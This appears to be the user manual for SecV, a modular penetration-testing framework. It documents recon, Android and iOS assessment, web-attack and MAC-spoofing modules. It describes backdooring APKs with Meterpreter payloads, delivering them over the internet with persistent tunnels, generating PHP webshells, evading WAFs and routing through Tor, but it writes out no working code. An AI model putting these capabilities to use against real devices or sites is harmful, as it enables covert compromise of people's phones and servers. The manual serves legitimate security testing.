SecV tauri — Official Documentation

The Problem With Security Frameworks

Every security framework has the same disease. They ship with a dependency tree the size of a small city, demand you write tools in their language of choice, and bury your actual payloads under three layers of abstraction that don't do anything except make the framework look impressive. Metasploit is Ruby. Empire is PowerShell. Covenant is C#. If your best reconnaissance script is Python and your fastest port scanner is a Bash one-liner, you're either rewriting them from scratch or maintaining a separate workflow outside the framework entirely.

After years of this, the answer turns out to be stupidly simple: the shell doesn't need to care what language your module is written in. It just needs to pass context to a process and stream the output. JSON in on stdin. Results out on stdout. Everything else is your problem to solve in whatever language you're best at.

That's SecV. This is how it works, how to use it, and how to build on top of it. This release is codenamed tauri.

Installation

SecV requires Go 1.21+ to compile. The installer handles everything else — it detects your distribution, installs missing tools, resolves Go module dependencies, compiles the binary, and asks if you want a system-wide install. You do not need to install Go before running the installer; it will prompt you and point you in the right direction if it's missing.

The installer runs in twelve steps. It checks Python, Java, Android RE tools (aapt, apktool, jadx), the Go compiler, pip, Python dependencies, masscan, then compiles the binary and sets permissions. On Arch Linux it will use yay (or paru/trizen) for AUR packages automatically. At the end it asks whether to symlink the binary into /usr/local/bin/secV so you can run it from anywhere.

To compile manually if you already have Go and have cloned the repo:

First Launch

Run ./secV (or just secV if installed system-wide). The screen clears, the ASCII banner drops, and SecV walks its tools/ directory looking for module.json files. Each one it finds becomes a loadable module. The detected OS is printed below the banner — on Arch you'll see the distribution name and the AUR helper it found (yay, paru, or trizen). This is used later for automatic dependency installation.

The Prompt

The prompt changes state based on whether a module is loaded. Without a module it shows secV ❯. Once you load a module with use, it becomes secV (modulename) ❯. This tells you at a glance what context you're in, and it updates immediately — no need to run any command to refresh it.

Tab completion is active at all times. At the base prompt, Tab shows every available command. After typing use or info followed by a space, Tab shows all loaded module names. After show, Tab completes to modules or options. Command history is saved to .cache/.history and persists between sessions — use the up arrow to recall previous commands.

Command Reference

Every command SecV understands, what it does, and when to use it.

use <module>

Loads a module by name. SecV finds the matching module.json, sets it as the active context, clears any previously set parameters, and prints the module's category and version. Immediately after loading, SecV checks every binary listed in the module's dependencies field using which. If any are missing, it prints them and asks whether to install them automatically using your system's package manager.

Module names are case-insensitive. The dependency installer maps binary names to their correct package names per distro — typing adb in the module manifest installs android-tools on Arch, adb on Debian/Ubuntu, and android-platform-tools via Homebrew on macOS. You never need to know the package name, only the binary name.

back

Unloads the current module and clears all set parameters. Returns the prompt to the base secV ❯ state. Use this when you're done with a module and want to load a different one, or just to return to the top level. If no module is loaded, it prints a warning and does nothing.

set <param> <value>

Sets a parameter for the currently loaded module. Parameters are passed to the module as part of the JSON context under the params key when you run it. Parameter names and values are both strings — the module is responsible for parsing types. Values containing spaces are supported: everything after the parameter name is treated as the value. A module must be loaded before you can set parameters.

unset <param>

Removes a previously set parameter. If the parameter name doesn't exist in the current parameter map, it prints a warning. A module must be loaded. Use show options to see what's currently set.

run <target>

Executes the loaded module against the specified target. SecV builds a JSON object with "target" set to your argument and "params" containing all parameters you've set, writes it to the module's stdin, and streams stdout/stderr directly to your terminal. The module's working directory is set to its own folder (where its files live), so relative paths inside the module work correctly. When the module exits, SecV prints the elapsed time.

show modules

Lists all discovered modules, grouped by category. Prints the module name and description for each. Run reload first if you've added new modules since launching SecV.

show options

Displays the currently loaded module's parameters — both what you've already set and what parameters the module supports (from its inputs manifest). Required parameters are marked with an asterisk. A module must be loaded.

info [module]

Shows detailed information about a module — category, version, path, author, description, dependency list, and which dependencies are currently missing on your system. If you run info without an argument while a module is loaded, it shows info for the current module. Pass a module name to inspect any module without loading it first.

search <keyword>

Searches all loaded modules by name, description, and category. Case-insensitive. Useful when you have many modules and can't remember the exact name.

help

Prints the full command reference with a short description of each command, grouped by function. Also shows the note about tab completion being active.

help module

Shows help for the currently loaded module. SecV first tries to run the module with --help and checks whether the output contains a formatted help block (identified by the ╔ character). If so, it passes that output through directly. If not, it reads the help section from module.json and renders it: description, parameters, examples, features, and notes. A module must be loaded.

reload

Re-scans the tools/ directory for module.json files and rebuilds the module list. Use this after adding new modules or after pulling an update. After reloading, the tab completer is rebuilt immediately — new module names become available in the use completion list without restarting SecV.

update

Launches the Python-based update system (update.py), which pulls the latest changes from https://github.com/secvulnhub/SecV.git. If the repo isn't initialised as a git repository, the updater initialises it and adds the remote automatically. See the Update System section for the full update workflow.

clear

Clears the terminal screen. That's it. Does not change any state, does not unload any module. The prompt reappears at the top of a clean screen.

exit  /  quit

Exits SecV. The readline library's EOF signal (Ctrl-D) also exits cleanly. No confirmation required. Any set parameters and the loaded module are discarded — SecV does not save session state between runs.

Module: netrecon

Network reconnaissance using four concurrent scan engines. nmap handles service detection and OS fingerprinting. masscan handles raw port discovery at high rates. rustscan combines fast discovery with nmap service detection. arp-scan handles local layer-2 discovery. All four run simultaneously using goroutines; their results are merged into a single host profile per IP address.

After scanning, open services are matched against a built-in CVE database. Matched CVEs are enriched in real time via the NVD REST API v2 — pulling live CVSS scores, severity ratings, and descriptions rather than relying solely on static data. Without an API key, NVD requests are rate-limited to 5 per 30 seconds (6.5 second delay between requests). Set the NVDAPIKEY environment variable to raise this to 50 per 30 seconds.

Apple and iOS Device Detection

iOS devices randomise their MAC address starting from iOS 14 (Private WiFi Address feature), so OUI vendor lookup is unreliable for identifying iPhones. Port 62078 is the lockdownd daemon — it only exists on iOS and macOS devices, and it's open whenever the device is on the network and unlocked. SecV includes port 62078 in every scan preset, so any iPhone or iPad on the network is identified automatically. When port 62078 is open, the host profile is tagged with device_type: iPhone/iPad and os_family: iOS.

In parallel with port scanning, SecV probes mDNS via avahi-browse to pull Bonjour hostnames and confirm device types from service records — useful for getting the device's actual hostname even when DNS reverse lookup returns nothing.

Port Presets

The ports parameter accepts a preset name or a custom port spec. All presets include port 62078 so Apple/iOS devices are always detected.

Preset	Ports	Use For
quick	21,22,23,25,53,80,443,445,3389,62078	Fast first-look at any target
top-100	Top 100 most common + 62078	General network mapping
top-1000	Top 1000 most common + 62078	Thorough subnet sweep
common	Key services + 62078	Explicit common port list
web	80,443,8000–8443,9000–9200,3000	Web application discovery
database	MySQL,MSSQL,PostgreSQL,Redis,Mongo,etc.	Database exposure check
ios	62078,5000,7000,548,3689,49152,88,5353	Apple/iOS focused scan
all	1–65535	Full port sweep (slow)

Scan Modes

Mode	What It Does
network	Full subnet scan — host discovery + port scan + service detection + CVE correlation
quick	Fast sweep with shorter timeouts, fewer ports, no script scanning
passive	Passive recon only — DNS, WHOIS, ASN, Shodan — no active port scans
single	Deep scan of one IP — service version detection, optional Nmap scripts

Additional Parameters

Parameter	Value	Effect
scripts	true / false	Run nmap vuln scripts (slower, more findings)
shodan_key	API key string	Enrich results with Shodan data
timeout	seconds (int)	Per-host scan timeout
rate	packets/sec	masscan transmission rate
passive	true / false	Disable active probes entirely
nvd_api_key	API key string	Higher NVD rate limit for CVE enrichment

Module: android_pentest

A complete Android security assessment suite. It operates in seven modes covering the full OWASP Mobile Top 10. The module uses ADB for device interaction and apktool/aapt for static APK analysis. CVE checks pull live data from NVD when triggered. Non-ADB attack surface mapping (Bluetooth, NFC, WiFi P2P, network services, WebView, tapjacking) runs without requiring any specific app to be targeted.

Operations

Operation	What It Does
recon	Device fingerprint — model, SDK, patch date, chipset, root status, bootloader, SELinux, screen lock, developer mode, USB debugging, ADB over network, kernel version, build ID
app_scan	Static APK analysis — pulls APK, decodes manifest, scans 50+ dangerous permissions, exported components, WebView config, cleartext traffic, backup flag, debuggable flag, cert analysis, security score 0–100, secret scanning in decompiled smali
vuln_scan	Full vulnerability scan — device config weaknesses, 20+ CVE checks (2016–2025) with vendor filtering and NVD live enrichment, wireless attack surface, world-readable files
exploit	Non-destructive exploitation — intent injection, SQL injection in content providers, path traversal, exported component manipulation, deep link hijacking, tapjacking, pending intent abuse
network	Traffic analysis — tcpdump capture (requires root), HTTP/HTTPS detection, DNS monitoring, proxy setup
forensics	Data extraction — app databases, SharedPreferences, system logs, SMS/contacts (requires root), PII detection, ADB backup
full	All of the above in sequence — complete report
frida_hook	Runtime instrumentation — auto-deploys frida-server via Magisk, SSL unpinning, root bypass, credential dump, method trace. See Advanced Operations.
backdoor_apk	Payload injection — msfvenom APK template injection, auto-sign, optional device install, generates handler RC. See Advanced Operations.
objection_patch	Frida gadget embed — no root needed at runtime. Uses objection patchapk. See Advanced Operations.
msf_handler	Metasploit handler + msgrpc — manage sessions from secV shell via sessions list / interact / kill. See Advanced Operations.
wan_expose	Cloudflare Tunnel — WAN APK delivery + MSF listener, persistent systemd services. See Advanced Operations.

CVE Database (2016–2026)

The CVE check compares the device's Android SDK level and security patch date against a list of known vulnerabilities. Any CVE that the device's version and patch level is susceptible to triggers a live NVD lookup — the result includes the real CVSS v3 score, severity, description, and published date from NVD rather than the static description in the codebase.

CVE	Severity	Vulnerability	Fix
CVE-2025-27363	HIGH	FreeType heap OOB write — ITW exploitation via crafted fonts	2025-03 patch · FreeType ≥2.13.3
CVE-2025-0084	HIGH	Android Framework priv esc via ActivityManagerService	2025-01 patch
CVE-2024-45569	CRITICAL	Qualcomm WLAN heap OOB — unauthenticated RCE over Wi-Fi (Snapdragon)	QSB-2025-01
CVE-2024-44068	CRITICAL	Samsung Exynos m2m UAF — priv esc to root, ITW (Samsung)	SMR-Oct-2024
CVE-2024-43047	CRITICAL	Qualcomm FastRPC DSP UAF — kernel priv esc, ITW (Snapdragon)	ASB-2024-10
CVE-2024-49415	HIGH	Samsung libsaped heap OOB — RCE via voice audio (Galaxy S24)	SMR-Jan-2025
CVE-2024-31317	CRITICAL	Zygote RCE via ActivityManager.setProcessMemoryTrimLevel()	2024-05 patch
CVE-2024-0044	CRITICAL	run-as sandbox bypass — arbitrary app data read (Android 12–14)	2024-03 patch
CVE-2023-40088	CRITICAL	Bluetooth RCE — code exec via crafted BT packet (Android 11–13)	2023-12 patch
CVE-2023-21264	CRITICAL	KVM hypervisor priv esc (Pixel/Mali)	2023-08 patch
CVE-2023-20963	HIGH	WorkSource parcel mismatch priv esc	2023-03 patch
CVE-2021-0954	CRITICAL	StrandHogg 2.0 — task hijack on all Android <11	Android 11+
CVE-2020-0041	CRITICAL	Binder UAF — kernel priv esc, CVSS 9.8	Android 9+
CVE-2019-2215	CRITICAL	Binder UAF — exploited ITW by NSO Group	Android 10+
CVE-2016-5195	CRITICAL	Dirty COW — kernel priv esc via /proc race condition	Kernel ≥4.8.3

Secret Scanning

During app_scan, SecV decodes the APK twice using a dual-directory strategy. The first pass decodes with -s (skip smali) to get the binary manifest as text XML and resources. The second pass decodes with --no-res (skip resources) to get the smali bytecode for deep secret scanning. Both output directories are scanned. Pattern matching uses context-anchored regexes — bare hex strings and base64 blocks don't trigger; only values in assignment context (key=, secret=, token=, etc.) are flagged. This eliminates thousands of false positives that plague naive implementations.

Pattern	Detects
AWS_KEY	AKIA... access key IDs
PRIVATE_KEY	PEM private key headers
JWT	JSON Web Tokens (eyJ...)
GOOGLE_KEY	AIza... Google API keys
STRIPE_KEY	sk_live_/pk_live_ Stripe keys
GITHUB_TOKEN	ghp_ GitHub personal access tokens
API_KEY	api_key=, apikey= assignments ≥20 chars
PASSWORD	password=, passwd= assignments ≥8 chars
SECRET_TOKEN	secret=, token=, auth_token= assignments ≥16 chars
HARDCODED_KEY	key=, salt=, iv= with hex value 32–64 chars
HARDCODED_B64	key=, cert= with base64 value ≥44 chars
PEM_CERT	BEGIN CERTIFICATE headers

Module: ios_pentest

iOS security assessment via libimobiledevice — no Xcode, no Mac required. Connects to the device over USB using the Apple lockdown protocol. The module checks device security posture, enumerates installed applications, reads entitlements, checks ATS configuration, and looks for jailbreak indicators. CVE checks compare the device's iOS version against a database of known vulnerabilities, then enriches triggered entries with live NVD data.

Operations

Operation	What It Does
recon	Device identification — model, iOS version, build, architecture, ECID, serial, WiFi/BT MAC, activation state, developer mode status
security	Security posture — passcode/biometric status, encryption, lock screen timeout, developer mode, jailbreak check, security recommendations
apps	App inventory — bundle IDs, display names, versions, entitlements (dangerous entitlements flagged), ATS configuration per app
vuln_scan	CVE checks against iOS version + live NVD enrichment + jailbreak exploitation paths
full	All of the above in sequence

Jailbreak Detection

The jailbreak check looks for file system indicators that exist only on jailbroken devices: Cydia (/Applications/Cydia.app), Sileo, Zebra, Filza, checkra1n artifacts, unc0ver markers, palera1n artifacts, and custom dyld cache locations. It also checks for non-standard sshd and dropbear processes and non-AppStore executable paths. These checks run even on non-jailbroken devices — the purpose is to determine whether the device is jailbroken, not to require that it is.

When a jailbreak is detected, the module documents the additional exploitation paths available: SSH access over USB (port 22 via usbmuxd), full filesystem access, runtime patching via Frida, SSL pinning bypass with objection, and access to the app container filesystem.

iOS 26 and Calendar Versioning

Apple moved to calendar-year versioning starting in 2026. iOS 26 = 2026. All static CVEs in the database have fix versions up to iOS 18.4.1 — they correctly do not trigger on iOS 26 because the fixed version (e.g. (18, 5)) is numerically below the running version (26). For iOS 26 and later, the module automatically runs a live NVD keyword search for "iOS 26 kernel" to catch post-cutoff CVEs with CVSS ≥ 7.0.

CVE Database

CVE	Severity	Vulnerability	Fixed In
CVE-2025-31200	CRITICAL 9.8	CoreAudio memory corruption, zero-click RCE, ITW	iOS 18.4.1
CVE-2025-31201	CRITICAL	RPAC pointer authentication bypass, ITW	iOS 18.4.1
CVE-2025-24085	CRITICAL 10.0	CoreMedia UAF, arbitrary code execution, ITW	iOS 18.3
CVE-2025-24201	CRITICAL	WebKit OOB write, sandbox escape, ITW	iOS 18.3.2
CVE-2025-24206	HIGH 7.7	Authentication bypass	iOS 18.4
CVE-2025-30456	HIGH 7.8	Path traversal → root priv esc	iOS 18.4
CVE-2024-23296	CRITICAL	RTKit OOB write, exploited ITW	iOS 17.4
CVE-2024-23225	CRITICAL	Kernel memory corruption	iOS 17.4
CVE-2024-23222	CRITICAL	JavaScriptCore type confusion, RCE	iOS 17.3
CVE-2023-42917	CRITICAL	WebKit memory corruption, ITW	iOS 17.1.2
CVE-2023-42824	HIGH	XNU kernel priv esc, ITW	iOS 17.0.3
CVE-2023-32434	CRITICAL	Integer overflow in kernel, ITW	iOS 16.5.1

Module: mac_spoof

MAC address spoofing and rotation for network interfaces. Generates locally-administered unicast addresses (bit 1 set, bit 0 clear in the first byte), applies them to the specified interface, and optionally runs a background daemon that rotates the address at a configured interval. State is persisted so the original MAC can always be restored. Requires root.

In tauri, mac_spoof gains vendor OUI spoofing — instead of the default 02:00:00 locally-administered prefix (which any network scanner can spot), you can spoof as a real hardware vendor using OUI prefixes from Apple, Samsung, Intel, Cisco, or Dell. The last three octets are still random, so each rotation looks like a different device from that vendor's pool.

Actions

Action	Description
start	Start background rotation daemon. Uses vendor OUI pool if vendor is set.
stop	Kill the daemon and restore the original vendor MAC from state.
status	Show current MAC, original MAC, PID, uptime, and rotation count.
vendor	Apply a single vendor-spoofed MAC without starting a daemon.
restore	Restore the original MAC from state file. Falls back to ethtool -P if no state exists.
history	Show the rotation log for the interface — timestamp, MAC, and how the change was triggered.

Parameter	Type	Default	Description
iface	string	—	Interface name or comma-separated list.
all_up	boolean	false	Auto-select all UP non-loopback interfaces.
action	string	start	Action to perform.
interval	float	30.0	Rotation interval in seconds.
vendor	string	—	Vendor OUI pool: apple, samsung, intel, cisco, dell.
stealth	boolean	false	Only rotate on disconnect events instead of a fixed interval.
persistent	boolean	false	Write a systemd user service so the daemon starts on login.
dry_run	boolean	false	Preview changes without applying.

Module: websec

Full-stack web attack surface tool. DNS/WHOIS/SSL recon, security headers, CORS, cookies, directory brute-force, error-based and time-blind SQLi with WAF evasion, reflected XSS, CSRF, 403 bypass, open redirect, framework CVEs (Jira, AEM, Confluence), WordPress attack surface, WAF fingerprinting, web spidering, and Google dorks. Built-in stealth layer rotates between 20 real browser UA strings, sends full Sec-Fetch-* headers, and supports configurable delay/jitter and proxy/Tor routing. In tauri, websec adds PHP payload generation, msfvenom web payloads, directory fuzzing, and Burp Suite export.

Operations

Operation	Description
recon	DNS, WHOIS, SSL cert, robots.txt, Wayback Machine, tech stack
headers	Security headers audit — HSTS, CSP, X-Frame-Options, Referrer-Policy
cors	CORS misconfiguration — wildcard, origin reflection, credentialed requests
cookies	Cookie flag audit — Secure, HttpOnly, SameSite
dirs	Directory brute-force with 100+ built-in paths and optional custom wordlist
sqli	Error-based and time-blind SQLi. Enable WAF evasion with set waf_evasion true.
xss	Reflected XSS. WAF-evasion variants available.
csrf	CSRF token detection across homepage and common form paths
bypass_403	403 bypass via header injection and path manipulation
open_redirect	Open redirect via 12+ common redirect parameter names
framework_cves	Jira/AEM/Confluence CVE path probing — 15+ known paths
waf	WAF fingerprinting — Cloudflare, AWS WAF, ModSecurity, Akamai, Imperva, F5
wordpress	WP attack surface — user enum, xmlrpc, plugin detection, version
spider	Crawl site breadth-first, map URLs, forms, JS files
dork	Generate 18+ Google dork queries and OSINT resource links
ssl	SSL/TLS version, cipher suites, cert details, expiry
php_payload	Generate PHP reverse shell, webshell, cmd page, or obfuscated payload
msf_payload	msfvenom web payloads (php/war/jsp/aspx) with a matching handler.rc
fuzz	Directory/path fuzzing — auto-picks ffuf, gobuster, or dirbuster
burp_export	Export raw HTTP request, Burp scope JSON, and intruder payload list
full	All checks in one pass

Module: ctfpwn

Pulls github.com/0xb0rn3/CTFs, lists all rooms sorted newest first, and runs standalone autopwn scripts against a target machine. Supports TryHackMe and HackTheBox. Flags are auto-extracted from script output (THM{}, HTB{}, flag{} patterns) and saved to ~/ZX01C/CTF/<room>/ alongside a timestamped run log. Room state is tracked between pulls, so newly added rooms are automatically flagged.

Operations

Operation	Description
list	List all CTFs sorted newest first. New rooms since last pull are marked.
pull	Clone or update the repo and mirror all rooms to ~/ZX01C/CTF/.
latest	Show the newest CTF. If a target IP is given, run its autopwn script.
run	Run a specific room's autopwn script against the target IP.
info	Show the README and writeup for a room.
search	Full-text search across room names, writeups, and exploit scripts.
new	Show rooms added to the repo since the last pull.

Parameter	Type	Default	Description
operation	string	list	Operation to run.
ctf	string	—	Room name — case-insensitive, partial match. simple matches simplectf.
platform	string	THM	Platform filter: THM, HTB, or ALL.
query	string	—	Search term for the search operation.

Module: wifi_monitor

LAN host discovery, async port scanning, device fingerprinting, and CVE lookup for the hosts on your network. Uses ARP via scapy when root is available, falls back to TCP-ping when it isn't. Open ports get banner-grabbed and matched against known service signatures to identify device type and OS. CVEs are pulled from the CIRCL API based on the service banners and cached locally for 24 hours. Threat flags go up for exposed databases, cleartext protocols, and legacy SSH versions.

Parameters

Parameter	Type	Default	Description
mode	string	scan	scan — discover hosts then port-scan. discover — host discovery only.
ports	string	default	Comma-separated ports or range (22,80,443 or 1-1024). default uses a 23-port common set.
port_scan	boolean	true	Run port scan on each discovered host. Set to false for discovery-only.
cve_lookup	boolean	true	Look up CVEs via CIRCL API from banner data. Requires internet.
timeout	float	3.0	ARP or TCP probe timeout per host in seconds.
concurrency	integer	100	Concurrent port probe workers per host.

Target is the CIDR or single IP passed to run. WiFi interface is not required — wifi_monitor works on any network reachable from the machine. For ARP discovery the process needs root; without it the module falls back to TCP-ping and still finds most hosts.

Advanced Operations — android_pentest

Beyond recon and static analysis, android_pentest includes five runtime attack operations: Frida hooking, APK backdooring, objection patching, a Metasploit handler manager, and WAN payload delivery via Cloudflare Tunnel. Each operation writes structured JSON results to the work directory and exposes session management directly from the SecV shell.

frida_hook — Runtime Instrumentation

Auto-downloads the matching frida-server binary for the device architecture, pushes it via ADB, starts it as root through Magisk, then attaches a generated JavaScript hook script to the target app. Requires a rooted device. No manual frida-server setup needed.

Parameter	Values	Description
package	com.example.app	Target app package (required)
hook_mode	all · ssl_unpin · root_bypass · dump_creds · trace	Which hooks to inject. Default: all
hook_timeout	integer	Seconds to stay attached. Default: 30
trace_method	class substring	Used with hook_mode=trace — traces all matching classes

backdoor_apk — Payload Injection

Pulls the target APK from the device, passes it through msfvenom -x as a template (preserves the original app's UI and functionality), signs the result with an auto-generated debug keystore, and optionally installs it back on the device. Also generates a ready-to-use Metasploit handler RC file.

Parameter	Values	Description
package	com.example.app	App to backdoor (required)
lhost	IP or hostname	Attacker address embedded in payload. Auto-detected from default route if blank.
lport	integer	Listener port. Default: 4444
payload	tcp · http · https · shell · stageless	Payload variant. Default: tcp (android/meterpreter/reverse_tcp)
install	true / false	Uninstall original and install backdoored APK. Default: false

objection_patch — Gadget Embed (No Root Required)

Uses objection patchapk to embed the Frida gadget (libfrida-gadget.so) directly into the APK's shared library directory. When the patched app launches, the gadget starts automatically and listens for an Objection connection — no frida-server, no root, no persistent device access needed. Useful for testing on non-rooted devices or external devices you can't root.

msf_handler — Metasploit Handler + RPC

Generates a Metasploit RC file, optionally launches msfconsole with it, and starts the msgrpc plugin so SecV can query and interact with live sessions directly from the shell. Handler config (host, port, token) is written to ~/.secv/msf_rpc.json — the SecV shell reads this automatically.

Parameter	Values	Description
lhost	IP / hostname	Listener address. Auto-detected if blank.
lport	integer	Listener port. Default: 4444
payload	tcp · http · https · shell · stageless	Payload family. Default: tcp
launch	true / false	Start msfconsole immediately. Default: false

sessions — Shell Commands

Once a handler is running with RPC enabled, the following commands are available at any point in the secV shell — no module loaded required.

Command	Description
sessions list	List all active Meterpreter / shell sessions via msfrpcd RPC
sessions interact <id>	Drop into a live session (spawns msfconsole, ctrl+z to background)
sessions kill <id>	Terminate a session

wan_expose — WAN Payload Delivery

Exposes both the backdoored APK (via HTTP) and the Metasploit listener (TCP) over the internet using Cloudflare Tunnel — no port forwarding, no VPS, no Cloudflare account required. The operation starts two tunnels, writes their public URLs into a new handler_wan.rc that you run against the WAN-facing endpoint, and registers systemd user services so both tunnels survive reboots automatically.

Parameter	Default	Description
lport	4444	MSF listener port to tunnel
serve_port	8888	HTTP port for APK download
payload	tcp	Payload family written into handler_wan.rc

Port Forwarding — Alternatives to Cloudflare

The wan_expose operation generates a full guide at ~/.secv/android/.../portforward_guide.md. Summary of all options:

Option	Cost	TCP	Persistent	Notes
Cloudflare Tunnel	Free	✓	via systemd	No account. yay -S cloudflared
ngrok	Free tier	✓	session expires	ngrok tcp 4444 — URL changes each session
SSH reverse tunnel	VPS cost	✓	via systemd	Requires a public VPS. Most reliable.
playit.gg	Free	✓	persistent	Gaming tunnel that supports TCP. No VPS needed.

Module Architecture

Every module is a self-contained directory inside tools/. SecV discovers them by walking the directory tree and finding every module.json file. The directory structure is entirely up to you — SecV doesn't care about nesting depth. A module at tools/mobile/android/android_pentest/module.json is the same as one at tools/my_tool/module.json. The module.json defines the name, not the path.

module.json — All Fields

Field	Type	Required	Description
name	string	yes	Unique module identifier. Used in use and tab completion.
version	string	yes	Semantic version string.
category	string	yes	Groups modules in show modules.
description	string	yes	One-line description shown in module listings.
author	string	no	Shown in info.
executable	string	yes	Shell command to run the module. Examples: python3 main.py, ./scanner, bash run.sh
dependencies	array	no	Binary names to check with which. SecV maps them to correct package names per distro.
optional_dependencies	object	no	Map of binary → description string. Shown in info but not checked at load time.
inputs	object	no	Parameter schema. Each key is a param name; value has type, description, required, default. Shown in show options.
outputs	object	no	Output field descriptions. Documentation only.
timeout	integer	no	Not enforced by the loader in this version — handled by the module itself.
help	object	no	Rendered by help module — contains description, parameters, examples, features, notes.

Writing a Module

The contract is minimal. SecV writes a JSON object to your module's stdin, then streams your stdout to the terminal. Your module reads, processes, and outputs. That's it. There's no SDK, no import, no base class. Write it in whatever language runs on the machine.

Python Example

Bash Example

The module.json for the above

Graceful Degradation

The golden rule: your module must not crash with an unhandled exception printed to stdout. SecV streams your stdout directly to the terminal. If an exception stack trace lands there, the output is broken and the run looks like a failure even if partial results exist. Send errors to stderr. Catch exceptions. If an optional dependency is missing, skip that check and continue. The module that runs quietly with reduced functionality is always better than the one that aborts with a traceback.

Testing a New Module

Update System

SecV's update system lives in update.py. It handles git, backup, compilation, and dependency installation in one flow. The system pulls from https://github.com/secvulnhub/SecV.git. If the local repo isn't initialised as a git repository at all (e.g. you extracted an archive instead of cloning), the updater initialises git, adds the remote, and fetches automatically. If the remote URL is different, it updates the remote URL.

The update command inside SecV (update) launches update.py in interactive mode. You can also run it directly from the terminal for more control.

What Happens During an Update

1. Backup — Critical files (binary, main.go, install.sh, requirements.txt, update.py) are copied to .cache/.backup/YYYYMMDD_HHMMSS/. Five backups are kept; older ones are pruned.
2. Local changes check — If you have uncommitted changes, you're asked to stash, discard, or cancel.
3. Git pull — Fast-forward pull from origin/main.
4. Restore stash — If changes were stashed, they're popped back. Merge conflicts are flagged.
5. Obsolete file cleanup — Files listed in the obsolete database for the target version are removed.
6. Binary recompilation — Runs only if main.go changed. Runs go mod tidy first, then go build -ldflags="-s -w" -o secV .
7. Dependency update — Runs only if requirements.txt changed.
8. Version info — Component hashes updated in .cache/.version_info.

Troubleshooting

Module not found after adding it

Run reload inside SecV. The module list is built at startup and when you explicitly reload — dropping files into tools/ while SecV is running has no effect until you reload.

Permission denied on startup

Go binary won't compile

adb: device not found

Check that USB debugging is enabled and that you've accepted the "Allow USB Debugging" dialog on the device. Verify with adb devices before running SecV. If the device shows as "unauthorized", unplug, replug, and accept the dialog again.

ideviceinfo returns nothing (iOS)

Verify the device is plugged in, unlocked, and has tapped "Trust This Computer". On iOS 16+, Developer Mode must be enabled (Settings → Privacy & Security → Developer Mode). Run idevicepair validate — if it returns an error, run idevicepair pair and unlock the device to approve.

Update fails with merge conflict

NVD requests timing out

Without an API key, NVD limits to 5 requests per 30 seconds. The module waits 6.5 seconds between requests to stay under the limit. For faster enrichment, set the environment variable NVDAPIKEY to your NVD API key — this raises the limit to 50 per 30 seconds. Keys are free at nvd.nist.gov/developers/request-an-api-key.